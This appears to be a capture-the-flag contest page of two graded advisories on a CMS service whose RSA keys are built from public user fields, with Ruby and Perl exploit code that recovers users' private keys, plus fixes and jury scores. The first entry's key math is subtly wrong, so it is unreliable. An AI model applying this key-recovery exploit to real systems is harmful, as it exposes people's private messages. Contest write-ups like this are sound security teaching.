|
CMS Advisories
Service: | CMS |
---|
Text: | problem:
private key generation has big entropy problems ... p is the next prime from sha512(name) nad q is the next prime from sha512(email) ...
fix:
easy to fix ... choose proper randomnumbers (in our case we just appended a secret string to the call of sha512 ... since SHA512 is PRF everything is fine)
exploit (ruby):
require "openssl"
def prime?(x)
return OpenSSL::BN.new(x.to_s).prime?
end
def nextprime(x)
x = x|1
x = x + 2 until prime?(x)
return x
end
def getprimebyname(name)
nextprime(OpenSSL::Digest::SHA512.hexdigest(name).to_i(16))
end
def buildprivatekey(p,q)
x = OpenSSL::PKey::RSA.new()
x.p = p
x.q = q
x.n = p*q
x.e = 257
x.d = OpenSSL::BN.new(x.e.to_s).mod_inverse(x.n)
x.dmp1 = x.d % (x.p-1)
x.dmq1 = x.d % (x.q-1)
x.iqmp = OpenSSL::BN.new(x.q.to_s).mod_inverse(p)
return x
end
|
---|
Jury comment: | The idea itself (randomness) and your fix is OK. But "p is the next prime from sha512(name) nad q is the next prime from sha512(email)" is wrong. Make good description and exploit to earn more points. |
---|
Score: | 3/8 points |
---|
Service: | CMS |
---|
Text: | Class:
error in the code
Vulnerable part of the code:
sub gen_keys
{
my $ctx = Crypt::OpenSSL::Bignum::CTX->new();
my $one = Crypt::OpenSSL::Bignum->one();
my $p = create_prime($R::name.$R::age.$R::rnd.$R::email);
my $q = create_prime($R::email.$R::rnd.$R::age.$R::name);
In the registration form field name is "rand", but here is "rnd",
therefore, the private key is generated without "Random" string. So,
fields "name", "email", and "age" is public, and we can generate
private keys for any user.
Description:
With private key we can read user's messages with flag.
Patch:
replace $R::rnd with $R::rand. For existing user - change private key
Exploit:
1. Grab users from host
2. Generate private key for each user:
my $ctx = Crypt::OpenSSL::Bignum::CTX->new();
my $one = Crypt::OpenSSL::Bignum->one();
my $p = create_prime($R::name.$R::age.$R::email);
my $q = create_prime($R::email.$R::age.$R::name);
my $e = Crypt::OpenSSL::Bignum->new_from_word(257);
my $d = $e->mod_inverse($p->sub($one)->mul($q->sub($one), $ctx), $ctx);
my $n = $p->mul($q, $ctx);
my $dmp1 = $d->mod($p->sub($one), $ctx);
my $dmq1 = $d->mod($q->sub($one), $ctx);
my $iqmp = $q->mod_inverse($p, $ctx);
my $rsa = Crypt::OpenSSL::RSA->new_key_from_parameters($n, $e, $d, $p, $q);
print "private:\n";
print cut($rsa->get_private_key_string);
3. Read private messages |
---|
Jury comment: | Very good. |
---|
Score: | 5/8 points |
---|
|
|